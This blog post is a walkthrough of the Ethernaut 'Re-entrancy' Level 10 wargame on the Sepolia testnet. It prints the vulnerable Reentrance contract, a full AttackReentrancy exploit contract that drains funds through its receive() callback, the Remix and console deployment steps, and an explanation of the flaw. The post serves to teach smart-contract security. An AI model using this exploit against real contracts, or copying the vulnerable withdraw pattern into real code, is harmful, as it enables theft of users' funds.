Re-entrancy - Level 10

Stefan Alfbo - Dec 25 '23 - - Dev Community

Problem statement

The goal of this level is for you to steal all the funds from the contract.

Things that might help:

  • Untrusted contracts can execute code where you least expect it.
  • Fallback methods
  • Throw/revert bubbling
  • Sometimes the best way to attack a contract is with another contract.
  • See the "?" page above in the top right corner menu, section "Beyond the console"
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

import 'openzeppelin-contracts-06/math/SafeMath.sol';

contract Reentrance {

  using SafeMath for uint256;
  mapping(address => uint) public balances;

  function donate(address _to) public payable {
    balances[_to] = balances[_to].add(msg.value);
  }

  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      (bool result,) = msg.sender.call{value:_amount}("");
      if(result) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

  receive() external payable {}
}
Enter fullscreen mode Exit fullscreen mode

Solution

Start with creating a new contract for the current level by clicking on the button, Get new instance. Remember to have enough eth in the connected wallet and that it's connected to the Sepolia network.

Open up the developer tool in your browser (F12) and get the contract address, by executing this code in the console window. This address will be used later.

await contract.address
Enter fullscreen mode Exit fullscreen mode

We should also check the funds of the contract to know how much we will need to steal.

await getBalance(contract.address)
Enter fullscreen mode Exit fullscreen mode

With this information we can continue to next step. Open a new tab in your browser (Ctrl+t) and go to Remix.

In the file explorer, create a new file and name it AttackReentrancy.sol.

Remix file explorer

The following code should be added as content for the file.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.22;

interface Reentrance {
  function withdraw(uint _amount) external;
  function donate(address _to) external payable;
}

contract AttackReentrancy {
    address toAttack;
    uint donateValue = 1000000000000000; // 0.001 eth

    constructor(address payable _address) payable {
        toAttack = _address;
    }

    function initAttack() public {
        Reentrance(toAttack).donate{value: donateValue}(address(this));
        Reentrance(toAttack).withdraw(donateValue);
    }   

    receive() external payable{
        if (address(toAttack).balance != 0 ) {
            Reentrance(toAttack).withdraw(donateValue); 
        }
    }
}
Enter fullscreen mode Exit fullscreen mode

Got to the compiler and compile the AttackReentrancy contract.

Compile contract

When the contract has been compiled it's possible to deploy it to the Sepolia network. This is done in the DEPLOY & RUN TRANSACTIONS view in Remix. Make sure to use the environment, Injected Provider - MetaMask. It's also important that we give the contract some funds to be able to make the attack, and the address to the contract (among the first steps in this section).

Image description

When the contract has been deployed (you should have signed the transaction with MetaMask), the initAttack method should be available for us. Push the button with the name initAttack.

initAttack button

Once again sign the transaction with your MetaMask wallet. Jump back to the web console window when the transaction has been confirmed and check the balance of the contract once more.

await getBalance(contract.address)
Enter fullscreen mode Exit fullscreen mode

If the balance is zero, then we have succeeded and we can finish the challenge by clicking the button, Submit instance, to commit and update the progress on the ethernaut contract.

Explanation

The re-entrancy problem is a classic type of an attack, where the DAO Hack is the most famous one.

The sensitive code in the contract is inside this function:

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      (bool result,) = msg.sender.call{value:_amount}("");
      if(result) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }
Enter fullscreen mode Exit fullscreen mode

A transaction is executed in a single thread synchronously, each operation step by step. However when we use the msg.sender.call method we will open up a way to make this execution path more dynamic.

Step by step

In this case, Step 2, is replaced with the msg.sender.call, since we are able to deploy our own contract to act as a proxy for our transactions we can add steps to this path.

modified step by step

By doing this we can keep calling the withdrawal method until we got all the funds, which is done in our receive function:

    receive() external payable{
        if (address(toAttack).balance != 0 ) {
            Reentrance(toAttack).withdraw(donateValue); 
        }
    }
Enter fullscreen mode Exit fullscreen mode

The contract that is attacked do not update the balance of the callers deposit until the step after the msg.sender.call, and we are able to put our withdrawal loop before that. That update will be executed to late in this threads of steps.

balances[msg.sender] -= _amount;
Enter fullscreen mode Exit fullscreen mode

The author of this challenge leaves us with a good summary of how to mitigate these kind of problems.

Message from author

Resources

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .